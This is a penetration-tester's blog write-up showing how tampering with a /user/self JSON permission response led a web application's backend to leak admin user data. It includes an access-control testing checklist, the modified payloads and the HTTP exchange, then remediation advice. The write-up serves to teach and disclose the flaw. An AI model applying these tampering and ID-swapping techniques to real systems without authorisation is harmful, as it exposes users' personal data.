August 9, 2026
How I Escalated Privileges by Manipulating a Client-Side Permission Matrix
A Tale of Broken Access Control

By Dev
2 min read
The Discovery
While performing a penetration test on a web application, I stumbled upon a high-severity vulnerability that allowed me to escalate privileges from a standard user to a full administrator. The underlying flaw was simple yet devastating: the application relied on client-side authorization control.
Instead of enforcing access restrictions on the backend, the server trusted the client to state its own permissions.
Understanding the Vulnerability
Insecure Client-Side Authorization Control occurs when an application relies on the front-end to decide who gets access to what, rather than enforcing those rules on the server.
When a user logs in, the application requests user profile details from an endpoint — in this case, /user/self. The response includes a JSON "permission matrix" that the single-page application (SPA) uses to determine which UI elements, navigation paths, and data-fetching triggers to render.
The critical security failure occurs when the backend treats frontend visibility as security:
- Response Tampering: An attacker intercepts and alters the permission object in transit.
- UI Elevation: The frontend consumes the altered JSON and unlocks administrative UI views.
- Missing Backend Checks: When the frontend requests sensitive admin endpoints (e.g.,
/admin/users), the backend serves the sensitive data without validating whether the user's session token actually possesses administrative authority.
5 Ways to Test for Access Control & IDOR Vulnerabilities
- Parameter & ID Swapping: Change numeric IDs, UUIDs, or decoded strings in paths/queries (e.g.,
/user/101$\rightarrow$/user/102). - Auth Token Swapping (Cross-Account): Capture a request from User A (Victim) and replay it using User B's (Attacker's) Authorization Header/Cookie.
- Response Manipulation: Intercept
/meor/permissionsresponses and change"is_admin": falsetotrueto reveal hidden API routes. - Parameter Injection: Add unauthorized role/tenant fields directly to JSON body updates (e.g.,
{"role": "admin", "tenant_id": "target_tenant"}). - HTTP Method Switching: If
GET /admin/usersreturns403, tryPOST,PUT,DELETE, or use theX-HTTP-Method-Override: PUTheader.
The Attack Walkthrough
Step 1: Login as a Standard User
I authenticated to app.target.com using a low-privileged test account.
Step 2: Intercept & Manipulate the Permission Response
Using an intercepting proxy, I captured the HTTP response from the /user/self endpoint during navigation to administrative paths (/admin/users).
The original payload restricted user management access:
{
"external_user_id": "auth0|xxxxxxxxxxxxxxxxxxxxxxxx",
"email": "pentest4@target.com",
"permissions": {
"usermanagement_access": "view",
"manage_type_lists": false,
"create_report_allowed": false,
"analytics_access": "user",
"impersonate_user_allowed": false,
"view_all_docs": false
},
"roles": [{"name": "User"}]
}{
"external_user_id": "auth0|xxxxxxxxxxxxxxxxxxxxxxxx",
"email": "pentest4@target.com",
"permissions": {
"usermanagement_access": "view",
"manage_type_lists": false,
"create_report_allowed": false,
"analytics_access": "user",
"impersonate_user_allowed": false,
"view_all_docs": false
},
"roles": [{"name": "User"}]
}I modified the response body in transit to elevate my privileges:
{
"external_user_id": "auth0|xxxxxxxxxxxxxxxxxxxxxxxx",
"email": "pentest4@target.com",
"permissions": {
"usermanagement_access": "edit",
"manage_type_lists": true,
"create_report_allowed": true,
"analytics_access": "all",
"impersonate_user_allowed": true,
"view_all_docs": true
},
"roles": [{"name": "User"}]
}{
"external_user_id": "auth0|xxxxxxxxxxxxxxxxxxxxxxxx",
"email": "pentest4@target.com",
"permissions": {
"usermanagement_access": "edit",
"manage_type_lists": true,
"create_report_allowed": true,
"analytics_access": "all",
"impersonate_user_allowed": true,
"view_all_docs": true
},
"roles": [{"name": "User"}]
}Step 3: Access Administrative Data
Upon receiving the altered response, the client-side UI unlocked full administrative views.
When the browser automatically sent follow-up data requests to /admin/users, the backend returned the complete dataset without verifying my session's actual privileges against a server-side Access Control List (ACL).
GET /admin/users HTTP/1.1
Host: app.target.com
Authorization: Bearer <valid_low_priv_token>
HTTP/1.1 200 OK
Content-Type: application/json
[
{
"id": "auth0|69df55bb284edfb390202df6",
"email": "admin@target.com",
"role": "Admin",
"groups": [...]
},
...
]GET /admin/users HTTP/1.1
Host: app.target.com
Authorization: Bearer <valid_low_priv_token>
HTTP/1.1 200 OK
Content-Type: application/json
[
{
"id": "auth0|69df55bb284edfb390202df6",
"email": "admin@target.com",
"role": "Admin",
"groups": [...]
},
...
]Step 4: Full Unauthorized Disclosure
Through this manipulation, a standard user could retrieve sensitive platform data across the entire tenant, including:
- User IDs and registered email addresses
- Full user profile configurations
- Internal group assignments and system roles
- Specific permission assignment maps
Impact
- Unauthorized Reconnaissance: Low-privileged users can map out tenant user bases, administrative structures, and internal permission maps.
- Compliance Violations: Exposing PII across tenant boundaries triggers regulatory penalties under GDPR, HIPAA, and CCPA.
- Privilege Escalation Vector: Internal metadata (e.g., admin emails and IDs) directly feeds spear-phishing and API abuse campaigns.
Remediation
Frontend authorization handles UI layout, never security.
- Enforce Backend RBAC/ABAC: Every API route must independently query a server-side Access Control List (ACL) using the verified session token before returning data.
- Zero Trust Frontend State: Treat all client-side logic, headers, and payload flags as untrusted. Never treat UI visibility as an authorization boundary.
- Deny by Default: Reject requests lacking explicit server-side authorization with
403 Forbidden.
Disclaimer: This write-up is based on a real-world penetration testing assessment. All identifying details, domain names, and sensitive keys have been sanitized. The vulnerability was responsibly disclosed and remediated prior to publication.